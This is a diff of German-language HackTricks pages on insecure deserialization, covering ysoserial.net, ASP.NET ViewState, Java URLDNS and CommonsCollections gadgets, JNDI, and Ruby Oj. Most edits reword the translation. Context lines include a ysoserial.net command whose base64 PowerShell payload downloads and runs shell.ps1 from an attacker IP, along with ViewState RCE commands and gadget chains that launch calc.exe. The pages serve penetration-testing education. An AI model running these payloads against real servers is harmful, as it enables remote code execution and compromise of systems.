- **`--plugin`** ysoserial.net unterstützt Plugins, um **Exploits für spezifische Frameworks** wie ViewState zu erstellen.
|
||||
|
||||
#### Weitere ysoserial.net-Parameter
|
||||
|
||||
- `--minify` bietet eine **kleinere Payload** (wenn möglich)
|
||||
- `--minify` liefert eine **kleinere Nutzlast** (wenn möglich)
|
||||
- `--raf -f Json.Net -c "anything"` Dies gibt an, welche Gadgets mit einem angegebenen Formatter (`Json.Net` in diesem Fall) verwendet werden können.
|
||||
- `--sf xml` Sie können **ein Gadget** (`-g`) angeben, und ysoserial.net wird nach Formatierern suchen, die "xml" enthalten (nicht großgeschrieben).
|
||||
|
||||
@ -679,7 +679,7 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
|
||||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
|
||||
```
|
||||
**ysoserial.net** hat auch einen **sehr interessanten Parameter**, der hilft, besser zu verstehen, wie jeder Exploit funktioniert: `--test`\
|
||||
Wenn Sie diesen Parameter angeben, wird **ysoserial.net** den **Exploit lokal versuchen**, sodass Sie testen können, ob Ihr Payload korrekt funktioniert.\
|
||||
Wenn Sie diesen Parameter angeben, wird **ysoserial.net** den **Exploit lokal versuchen,** sodass Sie testen können, ob Ihr Payload korrekt funktioniert.\
|
||||
Dieser Parameter ist hilfreich, weil Sie, wenn Sie den Code überprüfen, Codeabschnitte wie den folgenden finden werden (aus [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
|
||||
```java
|
||||
if (inputArgs.Test)
|
||||
@ -721,7 +721,7 @@ Um die Risiken im Zusammenhang mit der Deserialisierung in .Net zu mindern:
|
||||
- **Vermeiden Sie die Verwendung von `JavaScriptSerializer` mit einem `JavaScriptTypeResolver`.**
|
||||
- **Begrenzen Sie die Typen, die deserialisiert werden können**, und verstehen Sie die inhärenten Risiken mit .Net-Typen, wie `System.IO.FileInfo`, die die Eigenschaften von Serverdateien ändern können, was potenziell zu Denial-of-Service-Angriffen führen kann.
|
||||
- **Seien Sie vorsichtig mit Typen, die riskante Eigenschaften haben**, wie `System.ComponentModel.DataAnnotations.ValidationException` mit seiner `Value`-Eigenschaft, die ausgenutzt werden kann.
|
||||
- **Steuern Sie die Typinstanziierung sicher**, um zu verhindern, dass Angreifer den Deserialisierungsprozess beeinflussen, wodurch selbst `DataContractSerializer` oder `XmlSerializer` anfällig werden.
|
||||
- **Kontrollieren Sie die Typinstanziierung sicher**, um zu verhindern, dass Angreifer den Deserialisierungsprozess beeinflussen, wodurch selbst `DataContractSerializer` oder `XmlSerializer` anfällig werden.
|
||||
- **Implementieren Sie Whitelist-Kontrollen** mit einem benutzerdefinierten `SerializationBinder` für `BinaryFormatter` und `JSON.Net`.
|
||||
- **Bleiben Sie informiert über bekannte unsichere Deserialisierungs-Gadgets** innerhalb von .Net und stellen Sie sicher, dass Deserialisierer solche Typen nicht instanziieren.
|
||||
- **Isolieren Sie potenziell riskanten Code** von Code mit Internetzugang, um zu vermeiden, dass bekannte Gadgets, wie `System.Windows.Data.ObjectDataProvider` in WPF-Anwendungen, untrusted Datenquellen ausgesetzt werden.
|
||||
@ -744,7 +744,7 @@ Zur Sicherung serialisierter Objekte verwendet **Ruby HMAC (Hash-Based Message A
|
||||
- `config/secrets.yml`
|
||||
- `/proc/self/environ`
|
||||
|
||||
**Ruby 2.X generische Deserialisierung zu RCE-Gadget-Kette (mehr Informationen in** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
|
||||
**Ruby 2.X generische Deserialisierung zu RCE Gadget-Kette (mehr Informationen in** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
|
||||
```ruby
|
||||
#!/usr/bin/env ruby
|
||||
|
||||
@ -888,7 +888,7 @@ puts json_payload
|
||||
# Sink vulnerable inside the code accepting user input as json_payload
|
||||
Oj.load(json_payload)
|
||||
```
|
||||
Im Fall des Versuchs, Oj auszunutzen, war es möglich, eine Gadget-Klasse zu finden, die in ihrer `hash`-Funktion `to_s` aufruft, was spec aufruft, das fetch_path aufruft, wodurch es möglich war, eine zufällige URL abzurufen, was einen großartigen Detektor für diese Art von unsanierten Deserialisierungsanfälligkeiten bietet.
|
||||
Im Fall des Versuchs, Oj auszunutzen, war es möglich, eine Gadget-Klasse zu finden, die in ihrer `hash`-Funktion `to_s` aufruft, was spec aufruft, das fetch_path aufruft, was es ermöglichte, eine zufällige URL abzurufen, was einen großartigen Detektor für diese Art von unsanierten Deserialisierungsanfälligkeiten bietet.
|
||||
```json
|
||||
{
|
||||
"^o": "URI::HTTP",
|
||||
|
||||
@ -12,7 +12,7 @@ Daher wird das beliebige **Objekt** eine **Funktion** mit **Parametern ausführe
|
||||
|
||||
### **Wie ist das möglich**
|
||||
|
||||
Der **System.Windows.Data**-Namespace, der innerhalb der **PresentationFramework.dll** unter `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF` definiert und implementiert ist, ist der Ort, an dem der ObjectDataProvider definiert ist.
|
||||
Der **System.Windows.Data**-Namespace, der innerhalb der **PresentationFramework.dll** unter `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF` zu finden ist, ist der Ort, an dem der ObjectDataProvider definiert und implementiert ist.
|
||||
|
||||
Mit [**dnSpy**](https://github.com/0xd4d/dnSpy) können Sie den **Code** der Klasse, an der wir interessiert sind, **untersuchen**. Im Bild unten sehen wir den Code von **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name**
|
||||
|
||||
@ -56,10 +56,10 @@ Beachten Sie, dass Sie als Referenz _C:\Windows\Microsoft.NET\Framework\v4.0.303
|
||||
|
||||
## ExpandedWrapper
|
||||
|
||||
Mit dem vorherigen Exploit wird es Fälle geben, in denen das **Objekt** als _**ObjectDataProvider**_ Instanz **deserialisiert wird** (zum Beispiel in der DotNetNuke-Schwachstelle, bei Verwendung von XmlSerializer, wurde das Objekt mit `GetType` deserialisiert). Dann hat man **keine Kenntnis über den Objekttyp, der in der** _ObjectDataProvider_ Instanz **eingekapselt ist** (zum Beispiel `Process`). Sie können mehr [Informationen über die DotNetNuke-Schwachstelle hier](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1) finden.
|
||||
Mit dem vorherigen Exploit wird es Fälle geben, in denen das **Objekt** als _**ObjectDataProvider**_ Instanz **deserialisiert wird** (zum Beispiel in der DotNetNuke-Schwachstelle, bei Verwendung von XmlSerializer, wurde das Objekt mit `GetType` deserialisiert). Dann hat man **keine Kenntnis über den Objekttyp, der in der _ObjectDataProvider_ Instanz eingekapselt ist** (zum Beispiel `Process`). Sie können mehr [Informationen über die DotNetNuke-Schwachstelle hier](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1) finden.
|
||||
|
||||
Diese Klasse ermöglicht es, die **Objekttypen der Objekte, die in einer bestimmten Instanz eingekapselt sind, anzugeben**. Daher kann diese Klasse verwendet werden, um ein Quellobjekt (_ObjectDataProvider_) in einen neuen Objekttyp einzukapseln und die benötigten Eigenschaften bereitzustellen (_ObjectDataProvider.MethodName_ und _ObjectDataProvider.MethodParameters_).\
|
||||
Dies ist sehr nützlich für Fälle wie den zuvor präsentierten, da wir in der Lage sein werden, **\_ObjectDataProvider**_\*\* innerhalb einer \*\*_**ExpandedWrapper** \_ Instanz **einzupacken**, und **bei der Deserialisierung** wird diese Klasse das _**OjectDataProvider**_ Objekt **erstellen**, das die **Funktion** ausführt, die in _**MethodName**_ angegeben ist.
|
||||
Dies ist sehr nützlich für Fälle wie den zuvor präsentierten, da wir in der Lage sein werden, **\_ObjectDataProvider**_\*\* innerhalb einer \*\*_**ExpandedWrapper** \_ Instanz zu **verpacken** und **bei der Deserialisierung** wird diese Klasse das _**OjectDataProvider**_ Objekt **erstellen**, das die **Funktion** ausführt, die in _**MethodName**_ angegeben ist.
|
||||
|
||||
Sie können diesen Wrapper mit dem folgenden Code überprüfen:
|
||||
```java
|
||||
@ -85,11 +85,11 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
|
||||
```
|
||||
## Json.Net
|
||||
|
||||
Auf der [offiziellen Webseite](https://www.newtonsoft.com/json) wird angegeben, dass diese Bibliothek es ermöglicht, **jede .NET-Objekt mit Json.NETs leistungsstarkem JSON-Serializer zu serialisieren und zu deserialisieren**. Wenn wir also **das ObjectDataProvider-Gadget deserialisieren** könnten, könnten wir durch das Deserialisieren eines Objekts eine **RCE** verursachen.
|
||||
Auf der [offiziellen Webseite](https://www.newtonsoft.com/json) wird angegeben, dass diese Bibliothek es ermöglicht, **jede .NET-Objekt mit Json.NETs leistungsstarkem JSON-Serializer zu serialisieren und zu deserialisieren**. Wenn wir also **das ObjectDataProvider-Gadget deserialisieren könnten**, könnten wir durch das Deserialisieren eines Objekts eine **RCE** verursachen.
|
||||
|
||||
### Json.Net Beispiel
|
||||
|
||||
Zunächst sehen wir uns ein Beispiel an, wie man ein Objekt mit dieser Bibliothek **serialisieren/deserialisieren** kann:
|
||||
Zuerst sehen wir uns ein Beispiel an, wie man ein Objekt mit dieser Bibliothek **serialisieren/deserialisieren** kann:
|
||||
```java
|
||||
using System;
|
||||
using Newtonsoft.Json;
|
||||
|
||||
@ -4,7 +4,7 @@ In diesem POST wird ein Beispiel mit `java.io.Serializable` erklärt.
|
||||
|
||||
# Serializable
|
||||
|
||||
Das Java `Serializable`-Interface (`java.io.Serializable` ist ein Marker-Interface, das Ihre Klassen implementieren müssen, wenn sie **serialisiert** und **deserialisiert** werden sollen. Die Java-Objektserialisierung (Schreiben) erfolgt mit dem [ObjectOutputStream](http://tutorials.jenkov.com/java-io/objectoutputstream.html) und die Deserialisierung (Lesen) erfolgt mit dem [ObjectInputStream](http://tutorials.jenkov.com/java-io/objectinputstream.html).
|
||||
Das Java `Serializable`-Interface (`java.io.Serializable`) ist ein Marker-Interface, das Ihre Klassen implementieren müssen, wenn sie **serialisiert** und **deserialisiert** werden sollen. Die Java-Objektserialisierung (Schreiben) erfolgt mit dem [ObjectOutputStream](http://tutorials.jenkov.com/java-io/objectoutputstream.html) und die Deserialisierung (Lesen) erfolgt mit dem [ObjectInputStream](http://tutorials.jenkov.com/java-io/objectinputstream.html).
|
||||
|
||||
Lassen Sie uns ein Beispiel mit einer **Klasse Person** ansehen, die **serialisierbar** ist. Diese Klasse **überschreibt die readObject**-Funktion, sodass, wenn **irgendein Objekt** dieser **Klasse** **deserialisiert** wird, diese **Funktion** **ausgeführt** wird.\
|
||||
Im Beispiel ruft die **readObject-Funktion** der Klasse Person die Funktion `eat()` seines Haustiers auf, und die Funktion `eat()` eines Hundes (aus irgendeinem Grund) ruft eine **calc.exe** auf. **Wir werden sehen, wie man ein Person-Objekt serialisiert und deserialisiert, um diesen Rechner auszuführen:**
|
||||
|
||||
@ -72,7 +72,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0M
|
||||
```
|
||||
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) ist ein weiteres Tool, das bekannte machineKeys identifizieren kann. Es ist in Python geschrieben, sodass es im Gegensatz zu Blacklist3r keine Windows-Abhängigkeit gibt. Für .NET viewstates gibt es ein "python blacklist3r" Dienstprogramm, das der schnellste Weg ist, es zu verwenden.
|
||||
|
||||
Es kann entweder direkt mit dem viewstate und dem generator versorgt werden:
|
||||
Es kann entweder direkt mit dem viewstate und dem Generator versorgt werden:
|
||||
```
|
||||
pip install badsecrets
|
||||
git clone https://github.com/blacklanternsecurity/badsecrets
|
||||
@ -102,7 +102,7 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv
|
||||
|
||||
--generator = {__VIWESTATEGENERATOR parameter value}
|
||||
```
|
||||
In Fällen, in denen der `_VIEWSTATEGENERATOR`-Parameter **nicht gesendet** wird, müssen Sie **nicht** den `--generator`-Parameter **angeben**, sondern diese:
|
||||
In Fällen, in denen der `_VIEWSTATEGENERATOR`-Parameter **nicht** vom Server **gesendet** wird, müssen Sie **nicht** den `--generator`-Parameter **angeben**, sondern diese:
|
||||
```bash
|
||||
--apppath="/" --path="/hello.aspx"
|
||||
```
|
||||
@ -114,7 +114,7 @@ In diesem Fall ist nicht bekannt, ob der Parameter mit MAC geschützt ist. Dann
|
||||
|
||||
**Vor .NET 4.5** kann ASP.NET einen **unencrypted** \_`__VIEWSTATE`\_Parameter von den Benutzern **akzeptieren**, **auch wenn** **`ViewStateEncryptionMode`** auf _**Always**_ gesetzt wurde. ASP.NET **prüft nur** die **Präsenz** des **`__VIEWSTATEENCRYPTED`** Parameters in der Anfrage. **Wenn man diesen Parameter entfernt und die unverschlüsselte Payload sendet, wird sie trotzdem verarbeitet.**
|
||||
|
||||
Daher, wenn die Angreifer einen Weg finden, den Machinekey über eine andere Schwachstelle wie Dateitraversierung zu erhalten, kann der [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) Befehl, der im **Fall 2** verwendet wurde, verwendet werden, um RCE über die ViewState-Deserialisierungsanfälligkeit durchzuführen.
|
||||
Daher, wenn die Angreifer einen Weg finden, den Machinekey über eine andere Schwachstelle wie Dateitraversierung zu erhalten, kann der [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) Befehl, der im **Fall 2** verwendet wurde, verwendet werden, um RCE unter Verwendung der ViewState-Deserialisierungsanfälligkeit durchzuführen.
|
||||
|
||||
- Entfernen Sie den `__VIEWSTATEENCRYPTED` Parameter aus der Anfrage, um die ViewState-Deserialisierungsanfälligkeit auszunutzen, andernfalls wird ein Viewstate MAC-Validierungsfehler zurückgegeben und der Exploit schlägt fehl.
|
||||
|
||||
@ -155,7 +155,7 @@ Wenn Sie den Wert von `__VIEWSTATEGENERATOR` haben, können Sie versuchen, den `
|
||||
|
||||
|
||||
|
||||
Eine erfolgreiche Ausnutzung der ViewState-Deserialisierungsanfälligkeit führt zu einer Out-of-Band-Anfrage an einen vom Angreifer kontrollierten Server, die den Benutzernamen enthält. Diese Art von Exploit wird in einem Proof of Concept (PoC) demonstriert, der über eine Ressource mit dem Titel "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET" gefunden werden kann. Für weitere Details, wie der Ausnutzungsprozess funktioniert und wie man Tools wie Blacklist3r zur Identifizierung des MachineKey verwendet, können Sie den bereitgestellten [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC) überprüfen.
|
||||
Eine erfolgreiche Ausnutzung der ViewState-Deserialisierungsanfälligkeit führt zu einer Out-of-Band-Anfrage an einen vom Angreifer kontrollierten Server, die den Benutzernamen enthält. Diese Art von Exploit wird in einem Proof of Concept (PoC) demonstriert, das über eine Ressource mit dem Titel "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET" gefunden werden kann. Für weitere Details, wie der Ausnutzungsprozess funktioniert und wie man Tools wie Blacklist3r zur Identifizierung des MachineKey verwendet, können Sie den bereitgestellten [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC) überprüfen.
|
||||
|
||||
### Testfall 6 – ViewStateUserKeys wird verwendet
|
||||
|
||||
@ -166,7 +166,7 @@ Sie müssen einen weiteren Parameter verwenden, um die Payload korrekt zu erstel
|
||||
```
|
||||
### Ergebnis einer erfolgreichen Ausnutzung <a href="#poc" id="poc"></a>
|
||||
|
||||
Für alle Testfälle, wenn die ViewState YSoSerial.Net Payload **erfolgreich** funktioniert, antwortet der Server mit “**500 Internal server error**” und hat den Antwortinhalt “**Die Statusinformationen sind für diese Seite ungültig und könnten beschädigt sein**” und wir erhalten die OOB-Anfrage.
|
||||
Für alle Testfälle, wenn die ViewState YSoSerial.Net Payload **erfolgreich** funktioniert, antwortet der Server mit “**500 Internal server error**” und dem Antwortinhalt “**Die Statusinformationen sind für diese Seite ungültig und könnten beschädigt sein**” und wir erhalten die OOB-Anfrage.
|
||||
|
||||
Überprüfen Sie [weitere Informationen hier](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
|
||||
|
||||
@ -177,4 +177,6 @@ Für alle Testfälle, wenn die ViewState YSoSerial.Net Payload **erfolgreich** f
|
||||
- [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
- [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
|
||||
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -8,7 +8,7 @@ Die Klasse `java.net.URL` implementiert `Serializable`, das bedeutet, dass diese
|
||||
```java
|
||||
public final class URL implements java.io.Serializable {
|
||||
```
|
||||
Diese Klasse hat ein **eigenartiges Verhalten.** Aus der Dokumentation: „**Zwei Hosts werden als gleichwertig betrachtet, wenn beide Hostnamen in dieselben IP-Adressen aufgelöst werden können**“.\
|
||||
Diese Klasse hat ein **neugieriges Verhalten.** Aus der Dokumentation: “**Zwei Hosts werden als gleichwertig betrachtet, wenn beide Hostnamen in die gleichen IP-Adressen aufgelöst werden können**.”\
|
||||
Jedes Mal, wenn ein URL-Objekt **irgendeine** der **Funktionen `equals`** oder **`hashCode`** aufruft, wird eine **DNS-Anfrage** gesendet, um die IP-Adresse zu erhalten.
|
||||
|
||||
**Den** Funktionsaufruf **`hashCode`** **von** einem **URL**-Objekt auszuführen, ist ziemlich einfach; es reicht aus, dieses Objekt in eine `HashMap` einzufügen, die deserialisiert werden soll. Dies liegt daran, dass **am Ende** der **`readObject`**-Funktion von `HashMap` dieser Code ausgeführt wird:
|
||||
@ -28,7 +28,7 @@ int h;
|
||||
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
|
||||
}
|
||||
```
|
||||
Wie Sie sehen können, **wird beim Deserialisieren** eines **`HashMap`** die Funktion `hash` **mit jedem Objekt** **ausgeführt** und **während** der **`hash`**-Ausführung **wird `.hashCode()` des Objekts ausgeführt**. Daher, wenn Sie ein **`HashMap`** **deserialisieren**, das ein **URL**-Objekt enthält, wird das **URL-Objekt** **`.hashCode()` ausführen**.
|
||||
Wie Sie sehen können, **wird beim Deserialisieren** eines **`HashMap`** die Funktion `hash` **mit jedem Objekt** **ausgeführt** und **während** der **`hash`**-Ausführung **wird `.hashCode()` des Objekts** **ausgeführt**. Daher, wenn Sie ein **`HashMap`** **deserialisieren**, das ein **URL**-Objekt enthält, wird das **URL-Objekt** **`.hashCode()`** **ausführen**.
|
||||
|
||||
Jetzt schauen wir uns den Code von `URLObject.hashCode()` an:
|
||||
```java
|
||||
@ -59,7 +59,7 @@ Daher kann diese Klasse **missbraucht** werden, um eine **DNS-Abfrage** zu **sta
|
||||
|
||||
### URLDNS Payload-Codebeispiel
|
||||
|
||||
Sie finden den [URDNS-Payload-Code von ysoserial hier](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java). Um es jedoch einfacher zu machen, zu verstehen, wie man es codiert, habe ich mein eigenes PoC erstellt (basierend auf dem von ysoserial):
|
||||
Sie finden den [URDNS Payload-Code von ysoserial hier](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java). Um es jedoch einfacher zu machen, wie man es codiert, habe ich mein eigenes PoC erstellt (basierend auf dem von ysoserial):
|
||||
```java
|
||||
import java.io.File;
|
||||
import java.io.FileInputStream;
|
||||
@ -122,16 +122,16 @@ return null;
|
||||
}
|
||||
}
|
||||
```
|
||||
### Mehr Informationen
|
||||
### Weitere Informationen
|
||||
|
||||
- [https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/](https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/)
|
||||
- In der ursprünglichen Idee wurde die Commons Collections-Payload geändert, um eine DNS-Abfrage durchzuführen. Dies war weniger zuverlässig als die vorgeschlagene Methode, aber dies ist der Beitrag: [https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)
|
||||
- In der ursprünglichen Idee wurde die Commons Collections-Payload geändert, um eine DNS-Abfrage durchzuführen, dies war weniger zuverlässig als die vorgeschlagene Methode, aber dies ist der Beitrag: [https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)
|
||||
|
||||
## GadgetProbe
|
||||
|
||||
Sie können [**GadgetProbe**](https://github.com/BishopFox/GadgetProbe) aus dem Burp Suite App Store (Extender) herunterladen.
|
||||
|
||||
**GadgetProbe** wird versuchen herauszufinden, ob einige **Java-Klassen existieren** auf der Java-Klasse des Servers, damit Sie wissen, **ob** es **anfällig** für einen bekannten Exploit ist.
|
||||
**GadgetProbe** wird versuchen herauszufinden, ob einige **Java-Klassen existieren** auf der Java-Klasse des Servers, damit Sie wissen können, **ob** es **anfällig** für einen bekannten Exploit ist.
|
||||
|
||||
### Wie funktioniert es
|
||||
|
||||
@ -141,7 +141,7 @@ Im GitHub hat [**GadgetProbe einige Wortlisten**](https://github.com/BishopFox/G
|
||||
|
||||
 (1).gif>)
|
||||
|
||||
### Mehr Informationen
|
||||
### Weitere Informationen
|
||||
|
||||
- [https://know.bishopfox.com/research/gadgetprobe](https://know.bishopfox.com/research/gadgetprobe)
|
||||
|
||||
@ -152,7 +152,7 @@ Die **Erweiterung** hat **passive** und aktive **Funktionen**.
|
||||
|
||||
### Passiv
|
||||
|
||||
Standardmäßig **prüft es passiv** alle Anfragen und Antworten, die **gesendet** werden, um nach **Java-serialisierten magischen Bytes** zu suchen, und wird eine Warnung vor einer Schwachstelle anzeigen, wenn eine gefunden wird:
|
||||
Standardmäßig **prüft es passiv** alle gesendeten Anfragen und Antworten **auf der Suche nach** **Java-serialisierten magischen Bytes** und wird eine Warnung vor einer Schwachstelle anzeigen, wenn eine gefunden wird:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -170,11 +170,11 @@ Auch wenn dies "Manuelles Testen" genannt wird, ist es ziemlich **automatisiert*
|
||||
**Exploiting**
|
||||
|
||||
Sobald Sie eine anfällige Bibliothek identifiziert haben, können Sie die Anfrage an den _Exploiting Tab_ senden.\
|
||||
In diesem Tab müssen Sie den **Injektionspunkt** erneut **auswählen**, die **anfällige Bibliothek** angeben, für die Sie eine Payload erstellen möchten, und den **Befehl**. Drücken Sie dann einfach die entsprechende **Angriff**-Taste.
|
||||
In diesem Tab müssen Sie den **Einsprungspunkt** erneut **auswählen**, die **anfällige Bibliothek** angeben, für die Sie eine Payload erstellen möchten, und den **Befehl**. Drücken Sie dann einfach die entsprechende **Angriff**-Taste.
|
||||
|
||||
|
||||
|
||||
### Java Deserialization DNS Exfil Informationen
|
||||
### Java Deserialization DNS Exfil-Informationen
|
||||
|
||||
Lassen Sie Ihre Payload etwas wie das Folgende ausführen:
|
||||
```bash
|
||||
|
||||
@ -44,7 +44,7 @@ lazyMap.get("anything");
|
||||
```
|
||||
Wenn Sie nichts über Java-Deserialisierungs-Payloads wissen, könnte es schwierig sein herauszufinden, warum dieser Code einen Calc ausführt.
|
||||
|
||||
Zunächst müssen Sie wissen, dass ein **Transformer in Java** etwas ist, das eine **Klasse empfängt** und sie in eine andere **transformiert**.\
|
||||
Zunächst müssen Sie wissen, dass ein **Transformer in Java** etwas ist, das **eine Klasse empfängt** und **sie in eine andere umwandelt**.\
|
||||
Es ist auch interessant zu wissen, dass die **Payload**, die hier **ausgeführt** wird, **äquivalent** ist zu:
|
||||
```java
|
||||
Runtime.getRuntime().exec(new String[]{"calc.exe"});
|
||||
@ -84,7 +84,7 @@ command
|
||||
};
|
||||
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
|
||||
```
|
||||
Wenn Sie den Code lesen, werden Sie feststellen, dass Sie, wenn Sie die Transformation des Arrays irgendwie verketten, in der Lage wären, beliebige Befehle auszuführen.
|
||||
Wenn Sie den Code lesen, werden Sie feststellen, dass Sie, wenn Sie irgendwie die Transformation des Arrays verketten, in der Lage sein könnten, beliebige Befehle auszuführen.
|
||||
|
||||
Also, **wie werden diese Transformationen verkettet?**
|
||||
```java
|
||||
@ -92,7 +92,7 @@ Map map = new HashMap<>();
|
||||
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
|
||||
lazyMap.get("anything");
|
||||
```
|
||||
Im letzten Abschnitt der Payload sehen Sie, dass ein **Map-Objekt erstellt wird**. Dann wird die Funktion `decorate` von `LazyMap` mit dem Map-Objekt und den verketteten Transformatoren ausgeführt. Aus dem folgenden Code können Sie sehen, dass dies dazu führen wird, dass die **verketteten Transformatoren** im Attribut `lazyMap.factory` kopiert werden:
|
||||
Im letzten Abschnitt der Payload können Sie sehen, dass ein **Map-Objekt erstellt wird**. Dann wird die Funktion `decorate` von `LazyMap` mit dem Map-Objekt und den verketteten Transformatoren ausgeführt. Aus dem folgenden Code können Sie sehen, dass dies dazu führen wird, dass die **verketteten Transformatoren** im Attribut `lazyMap.factory` kopiert werden:
|
||||
```java
|
||||
protected LazyMap(Map map, Transformer factory) {
|
||||
super(map);
|
||||
@ -124,7 +124,7 @@ object = iTransformers[i].transform(object);
|
||||
return object;
|
||||
}
|
||||
```
|
||||
Also, denken Sie daran, dass wir innerhalb der **factory** **`chainedTransformer`** gespeichert haben und innerhalb der **`transform`**-Funktion **alle diese verketteten Transformer durchlaufen** und nacheinander ausführen. Das Lustige ist, dass **jeder Transformer `object`** **als Eingabe** verwendet und **object die Ausgabe des zuletzt ausgeführten Transformers ist**. Daher **werden alle Transformationen verkettet ausgeführt, um die bösartige Nutzlast**.
|
||||
Also, denken Sie daran, dass wir innerhalb der **factory** **`chainedTransformer`** gespeichert haben und innerhalb der **`transform`**-Funktion **alle diese verketteten Transformer durchlaufen** und nacheinander ausführen. Das Lustige daran ist, dass **jeder Transformer `object`** **als Eingabe verwendet** und **object die Ausgabe des zuletzt ausgeführten Transformers ist**. Daher **werden alle Transformationen verkettet ausgeführt, um die bösartige Payload** auszuführen.
|
||||
|
||||
### Zusammenfassung
|
||||
|
||||
@ -157,7 +157,7 @@ Beachten Sie, dass hier die **Gadgets** erklärt wurden, die für die **ComonsCo
|
||||
|
||||
## Java Thread Sleep
|
||||
|
||||
Diese Payload könnte **nützlich sein, um zu identifizieren, ob die Website anfällig ist, da sie eine Pause ausführen wird, wenn dies der Fall ist**.
|
||||
Diese Payload könnte **nützlich sein, um zu identifizieren, ob die Website anfällig ist, da sie eine Pause ausführt, wenn dies der Fall ist**.
|
||||
```java
|
||||
import org.apache.commons.*;
|
||||
import org.apache.commons.collections.*;
|
||||
|
||||
@ -11,11 +11,11 @@ JNDI, seit den späten 1990er Jahren in Java integriert, dient als Verzeichnisdi
|
||||
Java-Objekte können mithilfe von JNDI Namensreferenzen gespeichert und abgerufen werden, die in zwei Formen vorliegen:
|
||||
|
||||
- **Referenzadressen**: Gibt den Standort eines Objekts an (z. B. _rmi://server/ref_), was eine direkte Abholung von der angegebenen Adresse ermöglicht.
|
||||
- **Remote Factory**: Verweist auf eine Remote-Fabrikklasse. Bei Zugriff wird die Klasse von dem Remote-Standort heruntergeladen und instanziiert.
|
||||
- **Remote Factory**: Verweist auf eine Remote-Fabrikklasse. Bei Zugriff wird die Klasse von der Remote-Location heruntergeladen und instanziiert.
|
||||
|
||||
Dieses Mechanismus kann jedoch ausgenutzt werden, was potenziell zum Laden und Ausführen von beliebigem Code führen kann. Als Gegenmaßnahme:
|
||||
|
||||
- **RMI**: `java.rmi.server.useCodebaseOnly = true` standardmäßig ab JDK 7u21, was das Laden von Remote-Objekten einschränkt. Ein Security Manager schränkt weiter ein, was geladen werden kann.
|
||||
- **RMI**: `java.rmi.server.useCodeabseOnly = true` standardmäßig ab JDK 7u21, was das Laden von Remote-Objekten einschränkt. Ein Security Manager schränkt weiter ein, was geladen werden kann.
|
||||
- **LDAP**: `com.sun.jndi.ldap.object.trustURLCodebase = false` standardmäßig ab JDK 6u141, 7u131, 8u121, was die Ausführung von remote geladenen Java-Objekten blockiert. Wenn auf `true` gesetzt, ist die Ausführung von Remote-Code ohne Aufsicht eines Security Managers möglich.
|
||||
- **CORBA**: Hat keine spezifische Eigenschaft, aber der Security Manager ist immer aktiv.
|
||||
|
||||
@ -33,7 +33,7 @@ Trotz der Schutzmaßnahmen bleiben Schwachstellen bestehen, hauptsächlich aufgr
|
||||
|
||||
.png>)
|
||||
|
||||
